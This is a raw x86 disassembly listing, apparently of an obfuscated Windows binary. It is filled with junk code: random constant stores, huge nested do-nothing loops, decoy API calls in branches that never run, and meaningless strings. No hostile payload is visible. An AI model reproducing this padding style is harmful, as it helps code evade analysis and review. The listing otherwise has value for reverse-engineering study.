mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
add eax, 0xffffce97
add ecx, eax
mov eax, dword [ebp - 0x50]
xor edx, edx
cmp ecx, eax
setg dl
mov eax, dword [ebp - 0x48c]
mov dword [eax], edx
test edx, edx
jne 0x4113f7
xor ecx, ecx
jmp 0x4113f9
mov ecx, edi
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setle dl
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setle cl
push 6
pop eax
cmp eax, ecx
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x8b0]
xor ecx, ecx
cmp edx, eax
setne cl
mov eax, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, eax
setne dl
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], 5
cmp dword [ebp - 0x2c], 0x1d
je 0x4114ac
xor ebx, ebx
mov dword [ebp - 0x1c], 3
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x16c]
cmp dword [eax + ecx*4], ebx
jne 0x411496
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
mov eax, dword [ebp - 0x16c]
cmp dword [eax], ebx
setg cl
mov dword [ebp - 0x8b4], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x48c]
mov dword [eax], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0x1d
jne 0x411453
mov ebx, 0xcda6a44f
dec dword [ebp - 0x28]
push 0xffffffffffffffff
pop esi
jns 0x411307
or esi, esi
lea ecx, [ebp - 0x48c]
call fcn.0040bd00
lea ecx, [ebp - 0x628]
call fcn.0040bd00
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 0
jle 0x411286
lea ecx, [ebp - 0x16c]
call fcn.0040bd00
mov dword [ebp - 0x40], 0xfd41
mov dword [ebp - 0x40], 0xfffffff6
mov dword [ebp - 0x40], 0x98070ade
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0x4b666a75
mov dword [ebp - 0x40], 0xf5ed9a92
mov dword [ebp - 0x40], 0x1151c3c3
mov dword [ebp - 0x24], 0x4b41
cmp dword [ebp - 0x24], 0x4bf8
jle 0x41154e
xor ebx, ebx
xor esi, esi
mov eax, ebx
mov ecx, esi
sar eax, cl
cdq
push edx
push eax
mov ecx, 0xa9b358
call fcn.0040b8d9
inc esi
cmp esi, 0x40d1
jl 0x411529
inc ebx
cmp ebx, 0x3e2f
jl 0x411527
mov dword [ebp - 0x40], 0xa97963ba
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x24], 0x480d
jge 0x411574
mov edx, str.rqoq_qfcj_tqrewz_nqeng
mov ecx, 0xa9b358
call fcn.0040e54d
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x41159f
mov dword [ebp - 0x40], 0xe649f6d4
mov dword [ebp - 0x40], 5
mov dword [ebp - 0x40], 0xc8f0d071
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x40], 0xa065c2dd
mov dword [ebp - 0x40], 0x3aaf5bfb
mov dword [ebp - 0x54], 0xc41ac3dc
mov byte [ebp - 0x11], al
mov dword [ebp - 0x44], 0x7e9c
cmp dword [ebp - 0x44], 0x7f69
jle 0x41163b
mov esi, eax
mov dword [ebp - 0x34], esi
xor ebx, ebx
mov dword [ebp - 0x48], esi
mov dword [ebp - 0x24], 0x6fcc
mov eax, esi
cdq
push edx
push eax
lea ecx, [ebp - 0xc10]
call fcn.004019b1
pop ecx
pop ecx
mov ecx, eax
call fcn.0040b8ce
push eax
call fcn.004b4d47
pop ecx
push ebx
push edi
lea ecx, [ebp - 0xc10]
call fcn.0040c2ae
dec esi
dec dword [ebp - 0x24]
jne 0x4115f7
mov esi, dword [ebp - 0x34]
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x61c1
jl 0x4115ed
xor eax, eax
cmp byte [ebp - 0x11], 0
je 0x411657
push eax
push 0x1d4a
push 0x23a
push 0x2253
call dword [sym.imp.USER32.dll_SetDlgItemInt]
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x44], 0x7d51
jge 0x411672
push str.bcsjagv_fkq_dinqp_gahwaafwy_cqdsf_eaeoczdx_qijj_xmzmobf_dnpw_djj_kzbsxmxgs_yhgrjib_dmxqlz_cziu
call fcn.004b4d47
pop ecx
or ecx, 0xffffffff
mov dword [ebp - 4], ecx
xor eax, eax
jmp 0x4116a1
push 3
pop esi
dec dword [ebp - 0x54]
mov dword [ebp - 0x324], 0x799a
mov dword [ebp - 0x320], 0x799a
mov dword [ebp - 0x31c], 0x799a
mov dword [ebp - 0x318], 0x799a
mov dword [ebp - 0xec], 0xa12b57e8
mov dword [ebp - 0xe8], 0xa12b57e8
mov dword [ebp - 0xe4], 0xa12b57e8
mov dword [ebp - 0xe0], 0xa12b57e8
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], esi
jg 0x411814
mov eax, dword [ebp - 0xec]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x324], ebx
je 0x41173a
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x4117b9
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x4117b7
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x34], edi
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41176a
push 0x20b
push 0x118f
push 0x1009
push 0x1744
push 0xa45
call dword [sym.imp.GDI32.dll_Ellipse]
or ecx, 0xffffffff
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0xec]
mov esi, dword [ebp + eax*4 - 0x324]
mov eax, dword [ebp - 0xec]
mov dword [ebp + eax*4 - 0x324], esi
mov ecx, dword [ebp - 0x24]
add ecx, 0xffffbcf3
neg ecx
sbb ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 3
setl al
xor edx, edx
cmp eax, esi
setge dl
mov eax, dword [ebp - 0xec]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x34], ecx
push 3
pop esi
xor eax, eax
mov dword [ebp - 0x3c], esi
or ecx, 0xffffffff
cmp dword [ebp - 0x3c], eax
jl 0x411800
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], eax
jmp 0x4117f6
mov dword [ebp - 0x20], 0x2c5b641b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x4117f3
xor ebx, ebx
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x324], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x4117de
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x4117cc
dec dword [ebp - 0x3c]
jns 0x4117c4
inc dword [ebp - 0xec]
cmp dword [ebp - 0xec], esi
jle 0x411710
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x411828
push 0x683
call dword [sym.imp.GDI32.dll_GetStockObject]
push 4
lea ecx, [ebp - 0x220]
call fcn.0040bc2e
mov dword [ebp - 0x18], 0x52061f6
mov dword [ebp - 0x24], 0x42f3d479
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x411869
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x220]
mov dword [eax + ecx*4], 0xe48d327c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x41184e
xor eax, eax
mov dword [ebp - 0x18], esi
cmp dword [ebp - 0x18], eax
jl 0x41188f
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x220]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
dec dword [ebp - 0x18]
jns 0x411871
xor eax, eax
cmp dword [ebp - 0x18], eax
je 0x4118b3
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x220]
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x220]
imul eax, dword [edx]
imul eax, dword [ecx + 8]
test eax, eax
je 0x4118bb
mov eax, edi
jmp 0x4118bd
mov edx, dword [ebp - 0x220]
jmp 0x4118bd
xor eax, eax
mov ecx, dword [edx + 4]
add ecx, eax
neg ecx
sbb ecx, ecx
neg ecx
xor eax, eax
cmp ecx, dword [edx + 8]
setl al
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x220]
call fcn.0040bd00
mov dword [ebp - 0x24], 0xa00f47a6
or ebx, 0xffffffff
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], 0xc74aa0d7
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x24], 0x166941fc
mov dword [ebp - 0x24], 0x2d3f5047
mov dword [ebp - 0x38], 0xcd76ce4a
mov dword [ebp - 0x20], 0xfffffff6
mov dword [ebp - 0x3c], 0x629c4ddb
push edi
lea ecx, [ebp - 0x658]
call fcn.0040bc2e
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x18], 0
jmp 0x411949
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x640], 0xffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x411938
mov dword [ebp - 0x34], 0x2b8a
cmp dword [ebp - 0x34], 0x2f52
jle 0x4119f2
and dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x50], eax
xor esi, esi
mov dword [ebp - 0x24], esi
and dword [ebp - 0x54], 0
cdq
idiv esi
mov eax, edx
mov dword [ebp - 0x48], eax
xor ebx, ebx
mov esi, dword [ebp - 0x54]
mov ecx, esi
sar eax, cl
xor eax, dword [ebp - 0x1c]
cdq
push edx
push eax
lea ecx, [ebp - 0xb8c]
call fcn.004019b1
pop ecx
pop ecx
mov ecx, eax
call fcn.0040b8ce
push eax
call fcn.004b4d47
pop ecx
push ebx
push edi
lea ecx, [ebp - 0xb8c]
call fcn.0040c2ae
inc esi
cmp esi, 0x3123
mov eax, dword [ebp - 0x48]
jl 0x411981
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x34fa
mov eax, dword [ebp - 0x50]
jl 0x411970
inc eax
mov dword [ebp - 0x50], eax
cmp eax, 0x56b3
jl 0x41196b
mov ecx, dword [ebp - 0x1c]
inc ecx
mov dword [ebp - 0x1c], ecx
cmp ecx, 0x723e
jl 0x411966
or ebx, 0xffffffff
mov dword [ebp - 0x18], 0
jmp 0x411a0e
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x658]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x4119fb
mov dword [ebp - 4], 0xe
cmp dword [ebp - 0x34], 0x2893
jge 0x411a2e
push str.fxucg_jdhtn_muwtxsmbp_irey_janopkl_ffqj_rwqzbspxx_wbygtufjt_ktrvrj_hravtssl_ummkyjolu
call fcn.004b4d47
pop ecx
mov dword [ebp - 4], ebx
jmp 0x411a56
inc dword [ebp - 0x638]
dec dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
neg eax
je 0x411a71
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x411a73
mov esi, edi
jmp 0x411a75
xor eax, eax
mov esi, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x638]
mov ecx, 0x885dc1b6
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov edx, dword [ebp - 0x3c]
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x44]
neg edx
sbb edx, edx
inc edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp eax, edx
setge cl
mov eax, 0x83796483
sub eax, ecx
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setne dl
xor ecx, ecx
mov eax, dword [ebp - 0x658]
cmp edx, dword [eax]
setge cl
cmp esi, ecx
jne 0x411b0f
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], 4
jmp 0x411b04
inc dword [ebp - 0x24]
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x411b01
push 0
push 0x1cb2
push 0xd9c
push 0x1ac6
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1d
jge 0x411add
jmp 0x411b8f
mov dword [ebp - 0x24], 0xa3fda37b
mov dword [ebp - 0x34], 0xa81d68c2
mov dword [ebp - 0x40], 0x7a88ff76
mov dword [ebp - 0x40], 0x2c7e12fd
mov dword [ebp - 0x40], 0x8298bbeb
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0x13c9534c
mov dword [ebp - 0x40], 0x9d6c8400
mov dword [ebp - 0x40], 0x67dbf129
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x20], 0
jmp 0x411b6b
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x144], 0xade726f2
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x411b5a
mov dword [ebp - 0x30], ebx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setle dl
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x144]
lea ecx, [ebp - 0x658]
call fcn.0040bd00
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x50], 0x207647f1
mov dword [ebp - 0x20], 0x60b4ffb8
mov dword [ebp - 0x44], 3
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x34], 0x555
cmp dword [ebp - 0x34], 0x626
jle 0x411c31
and dword [ebp - 0x50], 0
xor esi, esi
xor ecx, ecx
mov dword [ebp - 0x24], ecx
xor ebx, ebx
mov eax, esi
cdq
idiv ecx
and edx, dword [ebp - 0x50]
mov eax, edx
cdq
push edx
push eax
lea ecx, [ebp - 0xc70]
call fcn.004019b1
pop ecx
pop ecx
mov ecx, eax
call fcn.0040b8ce
push eax
call fcn.004b4d47
pop ecx
push ebx
push edi
lea ecx, [ebp - 0xc70]
call fcn.0040c2ae
mov ecx, dword [ebp - 0x24]
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 0x1a30
jl 0x411bd6
inc esi
cmp esi, 0x755c
jl 0x411bcf
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp eax, 0x509e
jl 0x411bcd
mov dword [ebp - 4], 0x10
cmp dword [ebp - 0x34], 0x2c5
jge 0x411c4c
push str.dtso_xpobjw_juddpl_uiriuicbz
call fcn.004b4d47
pop ecx
or esi, 0xffffffff
mov dword [ebp - 4], esi
xor eax, eax
jmp 0x411c7b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x411c99
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1b8], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x411c84
xor eax, eax
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], eax
jl 0x411cb8
xor ebx, ebx
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x1b8], ebx
jne 0x411cb8
dec dword [ebp - 0x20]
jns 0x411ca7
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1b4]
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x24], 0x8586fd5d
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0xffffffeb
jne 0x412610
mov dword [ebp - 0x33c], 0x799a
mov dword [ebp - 0x338], 0x799a
mov dword [ebp - 0x334], 0x799a
mov dword [ebp - 0x330], 0x799a
mov dword [ebp - 0x10c], 0xa12b57e8
mov dword [ebp - 0x108], 0xa12b57e8
mov dword [ebp - 0x104], 0xa12b57e8
mov dword [ebp - 0x100], 0xa12b57e8
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 3
jg 0x411e69
mov eax, dword [ebp - 0x10c]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x33c], ebx
je 0x411d8f
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x411e08
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
jmp 0x411e06
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x34], edi
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x411dbc
push 0x20b
push 0x118f
push 0x1009
push 0x1744
push 0xa45
call dword [sym.imp.GDI32.dll_Ellipse]
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x10c]
mov esi, dword [ebp + eax*4 - 0x33c]
mov eax, dword [ebp - 0x10c]
mov dword [ebp + eax*4 - 0x33c], esi
mov ecx, dword [ebp - 0x24]
add ecx, 0xffffbcf3
neg ecx
sbb ecx, ecx
inc ecx
xor eax, eax
cmp ecx, 3
setl al
xor edx, edx
cmp eax, esi
setge dl
mov eax, dword [ebp - 0x10c]
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x34], ecx
xor eax, eax
mov dword [ebp - 0x2c], 3
or esi, 0xffffffff
cmp dword [ebp - 0x2c], eax
jl 0x411e54
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x30], eax
jmp 0x411e49
mov dword [ebp - 0x20], 0x2c5b641b
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x411e46
xor ebx, ebx
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x33c], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x411e31
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jle 0x411e1f
dec dword [ebp - 0x2c]
jns 0x411e17
inc dword [ebp - 0x10c]
cmp dword [ebp - 0x10c], 3
jle 0x411d65
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x411e7f
push 0x683
call dword [sym.imp.GDI32.dll_GetStockObject]
xor eax, eax
mov dword [ebp - 0x270], 0x98764276
mov dword [ebp - 0x26c], 0x98764276
mov dword [ebp - 0x268], 0x98764276
mov dword [ebp - 0x264], 0x98764276
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x30], 0x1bb000e2
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x48], 0xff1
cmp dword [ebp - 0x48], 0x1297
jle 0x411f50
mov ecx, eax
mov dword [ebp - 0x20], ecx
jmp 0x411ed1
xor eax, eax
mov dword [ebp - 0x54], eax
jmp 0x411ed8
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x47e0
xor ebx, ebx
mov esi, eax
mov dword [ebp - 0x24], 0x5226
mov eax, ecx
xor eax, esi
cdq
push edx
push eax
lea ecx, [ebp - 0xbbc]
call fcn.004019b1
pop ecx
pop ecx
mov ecx, eax
call fcn.0040b8ce
push eax
call fcn.004b4d47
pop ecx
push ebx
push edi
lea ecx, [ebp - 0xbbc]
call fcn.0040c2ae
inc esi
dec dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
jne 0x411eed
mov esi, dword [ebp - 0x54]
mov eax, dword [ebp - 0x34]
add eax, esi
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x44]
jne 0x411ee4
inc esi
mov dword [ebp - 0x54], esi
cmp esi, 0x3160
jl 0x411ed6
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x60a2
jl 0x411ecf
or esi, 0xffffffff
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0x48], 0xf1a
jge 0x411f6b
push str.bgeas_gyle_dtm_tjagbpqk_jtpizxjac_jvlq_fks_ntem_rogmqq_mjpoojcy_iyclaxydy
call fcn.004b4d47
pop ecx
mov dword [ebp - 4], esi
xor eax, eax
jmp 0x411f97
mov dword [ebp - 0x20], eax
jmp 0x411fad
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2c8], 0xfff8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x411f9c
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, eax
setge dl
mov eax, dword [ebp - 0x4c]
xor ebx, ebx
cmp edx, eax
setge bl
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp ebx, eax
setne cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x4c], 0xdd1e
add eax, dword [ebp - 0x4c]
imul eax, dword [ebp - 0x4c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
sub ecx, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
inc ecx
neg ecx
mov eax, dword [ebp - 0x4c]
inc eax
xor edx, edx
cmp ecx, eax
setle dl
sub edx, dword [ebp - 0x4c]
neg edx
sbb edx, edx
inc edx
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp eax, edx
setne cl
mov eax, dword [ebp - 0x4c]
xor edx, edx
cmp ecx, eax
setne dl
add edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x4c]
neg ecx
sbb ecx, ecx
neg ecx
xor edx, edx
cmp ecx, 0x3428
setge dl
mov eax, dword [ebp - 0x4c]
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp ecx, esi
setle al
mov dword [ebp - 0x4c], eax
xor eax, eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], eax
jg 0x4121a9
mov dword [ebp - 0x34], 0xc74bf7a8
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jg 0x4121a1
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], eax
jl 0x4120cf
push 2
lea ecx, [ebp - 0x42c]
call fcn.0040bc2e
mov dword [ebp - 0x2c], 0
jmp 0x4120ae
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x42c]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x41209f
mov eax, dword [ebp - 0x4c]
xor ebx, ebx
cmp dword [ebp + eax*4 - 0x2c8], ebx
je 0x4120d4
lea ecx, [ebp - 0x42c]
call fcn.0040bd00
xor eax, eax
inc dword [ebp - 0x30]
jmp 0x412078
mov dword [ebp - 0x24], 0x2b32
cmp dword [ebp - 0x24], 0x2bed
jle 0x41213a
and dword [ebp - 0x50], ebx
xor edx, edx
mov dword [ebp - 0x1c], edx
xor ebx, ebx
xor esi, esi
mov eax, ebx
mov ecx, esi
shl eax, cl
and eax, edx
or eax, dword [ebp - 0x50]
cdq
push edx
push eax
mov ecx, 0xa9b358
call fcn.0040b8d9
inc esi
cmp esi, 0x506e
mov edx, dword [ebp - 0x1c]
jl 0x4120f0
inc ebx
cmp ebx, 0x3cb1
jl 0x4120ee
inc edx
mov dword [ebp - 0x1c], edx
cmp edx, 0x3b04
jl 0x4120ec
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp eax, 0x1f87
jl 0x4120e7
or esi, 0xffffffff
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x42c]
mov dword [eax], ecx
mov dword [ebp - 4], 0x14
cmp dword [ebp - 0x24], 0x29f0
jge 0x412164
mov edx, str.dfjtstyvg_duqtnul_gxorafks_nwvtj_kagyz_wvxuhqnnx_hxp_danmdkm
mov ecx, 0xa9b358
call fcn.0040e54d
mov dword [ebp - 4], esi
jmp 0x41218c
lea ecx, [ebp - 0x42c]
call fcn.0040bd00
dec dword [ebp - 0x20]
xor eax, eax
jmp 0x412084
inc dword [ebp - 0x4c]
jmp 0x412065
mov dword [ebp - 0x38], 8
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x34], 0xa00f47a6
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x40], 0xc74aa0d7
mov dword [ebp - 0x1c], 0xfffffff9
mov dword [ebp - 0x34], 0x166941fc
mov dword [ebp - 0x34], 0x2d3f5047
mov dword [ebp - 0x50], 0xcd76ce4a
mov dword [ebp - 0x20], 0xfffffff6
mov dword [ebp - 0x44], 0x629c4ddb
push edi
lea ecx, [ebp - 0x688]
call fcn.0040bc2e
mov dword [ebp - 0x40], 0xfffffffd
mov dword [ebp - 0x18], 0
jmp 0x41221b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x670], 0xffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x41220a
mov dword [ebp - 0x18], 0
jmp 0x41223d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x688]
mov dword [eax + ecx*4], 5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x41222a
inc dword [ebp - 0x668]
dec dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
neg eax
je 0x41225d
xor eax, eax
cmp dword [ebp - 0x24], eax
je 0x41225f
mov esi, edi
jmp 0x412261
xor eax, eax
mov esi, eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x668]
mov ecx, 0x885dc1b6
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x34], eax
mov edx, dword [ebp - 0x44]
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x24]
neg edx
sbb edx, edx
inc edx
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp eax, edx
setge cl
mov eax, 0x83796483
sub eax, ecx
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x34], eax
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setne dl
xor ecx, ecx
mov eax, dword [ebp - 0x688]
cmp edx, dword [eax]
setge cl
cmp esi, ecx
jne 0x412356
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], 4
jmp 0x4122f4
inc dword [ebp - 0x24]
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x4122f1
push 0
push 0x1cb2
push 0xd9c
push 0x1ac6
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1d
jge 0x4122cd
or esi, 0xffffffff
lea ecx, [ebp - 0x688]
call fcn.0040bd00
mov dword [ebp - 0x30], 0x5c68ec0a
mov dword [ebp - 0x40], 0xfffffffa
push edi
lea ecx, [ebp - 0x6b8]
call fcn.0040bc2e
mov dword [ebp - 0x4d8], 0x509e
mov dword [ebp - 0x4d4], 0x509e
mov dword [ebp - 0x4d0], 0x509e
mov dword [ebp - 0x4cc], 0x509e
mov dword [ebp - 0x20], 0
jmp 0x4123f1
mov dword [ebp - 0x24], 0xa3fda37b
mov dword [ebp - 0x34], 0xa81d68c2
mov dword [ebp - 0x40], 0x7a88ff76
mov dword [ebp - 0x40], 0x2c7e12fd
mov dword [ebp - 0x40], 0x8298bbeb
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x40], 0x13c9534c
mov dword [ebp - 0x40], 0x9d6c8400
mov dword [ebp - 0x40], 0x67dbf129
mov dword [ebp - 0x40], 0xfffffff7
mov dword [ebp - 0x20], 0
jmp 0x4123b2
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x170], 0xade726f2
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x4123a1
or esi, 0xffffffff
mov dword [ebp - 0x1c], esi
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setle dl
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x170]
jmp 0x4122fd
cmp dword [ebp - 0x20], edi
jl 0x4123de
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x24], 8
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x11], 0
cmp byte [ebp - 0x11], 0
je 0x412639
push 0x1a90
call dword [sym.imp.GDI32.dll_SaveDC]
mov dword [ebp - 0x2c], 0xbcd8c45c
mov dword [ebp - 0x28], 0
push edi
lea ecx, [ebp - 0x19c]
call fcn.0040bc2e
mov dword [ebp - 0x34], 0xa2324015
xor eax, eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x20], eax
jmp 0x412681
mov ecx, dword [ebp - 0x20]
